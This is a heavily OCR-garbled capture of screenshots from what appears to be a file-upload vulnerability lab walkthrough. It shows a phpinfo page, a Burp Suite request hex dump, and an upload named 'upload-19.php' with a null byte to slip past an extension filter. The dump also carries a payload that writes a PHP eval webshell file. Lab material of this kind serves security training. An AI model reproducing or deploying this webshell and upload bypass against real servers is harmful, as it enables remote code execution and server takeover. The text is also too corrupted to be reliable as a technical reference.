Accept-Encoding: gzip, deflate
DMT: 1

Connection: close
Upgrade-Insecure-Requests: 1

> IWWEBEE » AHEEEER (DY) » xampp » htdocs » upload

web.php 2120200813003 3020200813004
910.jpg 512.gif
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PHP Version 5.3\

Ny

&« & @ © £ 192.168.31.212/upload/ web.php?web=phpinfo(); B e h=d

I&

System Windows NT DESKTOP-701G build 8200 (Unknow Windows version Home
Premium Edition) i586

Build Date Aug 15 2014 19:15:47 NG

Compiler MSVCA (Visual C++ 2008) \

Architecture xB6 \

Configure cscript /nologo configure. js "—enable-snapshot-build™ "—disable-isapi” "~enable-debug-

Command pack” “—without-mssql” "—without-pdo-mssql” "—without-pi3web” "—with-pdo-oti=C\php-
sdkloraclelinstantclient10\s dk shared™ "—with-ociB=C:\php-sdkioraclelinstantclient
\sdk,shared” "—with-oci8-11g=C:\php-sdkioraclelinstantclient11\sdk, shared” "—enable-
object-out-dir=../obj" "—enable-com-dotnet=shared” "—with-mcryp ic” "—disable-
static-analyze™

Server API Apache 2.0 Handler

Virtual Directory |enabled

Support

Configuration C:\WINDOWS
File (php.ini) Path

Loaded Crixamppiphpiphp.ini
Configuration
File
Scan this dir for |(none)
additional .ini
files
Additional .ini (none)
files parsed
PHP AP1 20090626
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move_uploaded_file()#&Hr

N webshell 3 R 35 85 .

Burp Intruder Repeater Window Help

[}

Target | Proxy | Spider T Scanner I Intruder I Repeater I Sequencer T Decoder I Comparer T Extender T Project options I User options | Alerts r

J intercept T HTTP history TWehSD:keB history I Options ]

@ Request to hitp://59.63.200.79.:8016 b

l Forward J l Drop J | Intercept is on Action @J w (
Raw | Params | Headers | Hex =

9c 3b 0a 66 i 72 ) 74 85 28 22 52 2c 22 &1 29 b “Fwrite(Sb,3a); 2

ad Oa 66 63 Bc 6f 73 65 28 24 62 29 3b Oa 65 63 68 fclose{Sb),ech r

Be Bf 20 22 68 65 6c B 6f 21 22 3b Oa 65 63 68 &f o "hello™ echo

af 20 27 3c 62 72 2f 3e 7 3b Oa 3f 3e Oa 3c 3f 70 “<brf>?=<?p I

al (] 70 20 66 69 6c 65 5f 70 %5 4 sf 63 &f Ge 74 hp file_put_cont

al 65 Ge T4 73 28 22 Be 66 2e 70 B8 70 22 2c 7 3c ents("nf.php’<

az 3f 70 &8 70 20 65 76 61 Bc 28 24 sf 52 45 51 55 ?php eval(3_REQU

a3 45 53 54 Sk Sc 22 Bc 73 Sc 22 5d 29 3b 3f 3e P ESTVIsV]), 7= FE

a4 29 20 3f 3e od Oa 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d } P

a5 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d e

ag 2d 2d 2d 31 33 33 34 20 3z 31 35 33 —1228933402153

a7 7 30 30 32 32 7 30 38 30 36 30 36 7002352427080605

ad od Oa 43 6f T4 2d 44 69 73 7o &f 73 Content-Dispos

as 69 T4 68 Bf Bf 72 6d 2d B4 61 74 &1 ition: form-data

aa 3b 20 Be 61 73 61 76 B85 5f Be 81 6&d ; name="save_nam

ab 65 2 od Oa Bc Bf 61 64 2d 31 39 2e e upload-19.

ac 70 68 70 00 0d 0a 24 24 24 2d 2d 2d php.jpg—

ad 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d

ae 2d 2d 2d 2d 32 32 38 39 33 33 34 30

af 32 31 35 33 33 35 32 34 32 37 30 38 708

b0 30 36 30 36 Be T4 65 Be T4 2d 44 (2] 0606Content-Di

b1 73 70 &f 73 [:] 3a 20 66 &6f T2 6d 2d ‘sposition: form-

b2 B4 &1 T4 61 6d 65 3d 22 73 75 62 &d data; name="subm

b3 69 T4 2 od b Ba ed be a0 0d Oa 2d it"d, 0d% - 1

b4 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d _—

bs 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 3 32 32 38 — 22

phpintol} x U4 N 59.03.200. /98
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